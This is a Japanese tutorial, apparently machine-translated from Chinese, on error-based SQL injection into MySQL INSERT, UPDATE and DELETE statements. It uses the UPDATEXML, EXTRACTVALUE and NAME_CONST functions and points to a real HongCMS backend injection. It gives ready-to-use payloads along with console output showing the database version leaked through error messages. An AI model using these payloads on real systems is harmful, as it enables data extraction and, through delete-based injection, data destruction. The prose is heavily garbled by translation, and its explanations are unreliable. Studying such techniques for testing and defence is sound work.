最も一般的な注入は、より多くのselectクエリインジェクションですが、パラメータはSQLインジェクションが生じ、チェックして、濾過されていない場合、悪質なSQLインジェクションは、データベースにデータを入れます。
すべての問い合わせに加えて、すべての要求とデータベースとの対話は、注射を引き起こす可能性が高いと言われています。以下のような:、データを変更し、データを挿入データの削除、どのような注入方法インサートの今要約、更新およびオンラインでのスキルに応じて削除します。
次は、エラー注入テスト・データベースのバージョン5.7.21です
組み込み関数のUPDATEXMLを使用した、EXTRACTVALUEまたはNAME_CONST
次のように試験テーブルです。
まず、使用UPDATEXML()関数
UPDATEXML(XML_document、XPath_string、NEW_VALUE) ;
第一引数:XML_documentがString形式、XMLドキュメントオブジェクトの名前、ドキュメントのテキストである
第二引数:XPath_string(XPath文字列形式)、XPath構文を理解していない場合は、オンラインチュートリアルを検索します。
第三引数:NEW_VALUE、文字列の形式、見つかった修飾データ交換する
機能を:ノードの条件に沿って、文書の値を変更
XPATH_stringに沿ってXML_documentの値を変更する
と、私たちの注入文:
UPDATEXML(1、CONCAT(0x7Eを(バージョンを@@ SELECT)、0x7Eを )、1)
文字列に接続され、前記連結()関数は、バーストの不正な形式で表示さXPATH_stringフォーマット準拠しません
エラー1105(HY000):XPATHを構文エラー: ':ルート@ localhostを '
ペイロード:
or updatexml(1,concat(0x7e,(version())),0) or
テストインサート射出:
mysql> insert into info(name,age) values('wangwu'or updatexml(1,concat(0x7e,(version())),0) or'','22');
ERROR 1105 (HY000): XPATH syntax error: '~5.7.21'
射出テストを更新
mysql> update info set name='test'or updatexml(2,concat(0x7e,(version())),0) or'' where id =1;
ERROR 1105 (HY000): XPATH syntax error: '~5.7.21'
mysql> update info set name='test' where id =1 or updatexml(2,concat(0x7e,(version())),0);
ERROR 1105 (HY000): XPATH syntax error: '~5.7.21'
テスト注入を削除
mysql> delete from info where id=1 or updatexml(2,concat(0x7e,(version())),0);
ERROR 1105 (HY000): XPATH syntax error: '~5.7.21'
二、EXTRACTVALUE()関数
EXTRACTVALUEは():XMLドキュメントを照会する機能は
同じの要素を見つけるためにの<div> <P> <A>ラベルを使用して、おなじみのHTMLファイルに実際に等価である
EXTRACTVALUE(ターゲットXML文書、XMLパス):構文を
第二引数を文字の位置を特定するための場所でXML作動位置、XML文書は/ XXX / XXX / XXX / ...このフォーマットである私たちは別の書式を書いた場合、それはエラーになり、私たちは不法に書かれた形式を返します。コンテンツ、及びこのコンテンツは、我々が照会する違法なコンテンツです。
二番目のパラメータクエリの通常位置フォーマット/ XXX / XX / XX / XX 、 エラーが見つかりませんない場合でも
ペイロード:
or extractvalue(1,concat(0x7e,database())) or
テストインサート射出
mysql> insert into info(name,age) values('wangwu'or extractvalue(1,concat(0x7e,version())) or'','22');
ERROR 1105 (HY000): XPATH syntax error: '~5.7.21'
インジェクションテスト更新:
mysql> update info set name='test' or extractvalue(1,concat(0x7e,version())) or'' where id =1;
ERROR 1105 (HY000): XPATH syntax error: '~5.7.21'
mysql> update info set name='test' where id =1 or extractvalue(1,concat(0x7e,version()));
ERROR 1105 (HY000): XPATH syntax error: '~5.7.21'
テスト注入を削除
mysql> delete from info where id=1 or extractvalue(1,concat(0x7e,version()));
ERROR 1105 (HY000): XPATH syntax error: '~5.7.21'
三、NAME_CONST()関数
NAME_CONST(名前、値)が
所定の値を返します。列結果のセットを生成するために使用される場合、NAME_CONST()指定された名前の列を引き起こします。
ペイロード
or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a) or
テストインサート射出
mysql> insert into info(name,age) values('wangwu' or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a) or'','22');
ERROR 1060 (42S21): Duplicate column name '5.7.21'
射出テストを更新
mysql> update info set name='test'or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a) or'' where id =1;
ERROR 1060 (42S21): Duplicate column name '5.7.21'
mysql> update info set name='test' where id =1 or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a);
ERROR 1060 (42S21): Duplicate column name '5.7.21'
テスト注入を削除
mysql> delete from info where id=1 or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a);
ERROR 1060 (42S21): Duplicate column name '5.7.21'
参考リンク:https://www.cnblogs.com/r00tgrok/p/3854754.html
本当のテスト:
バックグラウンドでHongCMSのSQLインジェクションは、つまり、注射を削除するには、テーブルをクリアする時間があります
詳細接続:https://www.freebuf.com/vuls/178316.html
ペイロードをUPDATEXML使用
EXTRACTVALUEを使用します
NAME_CONST使用します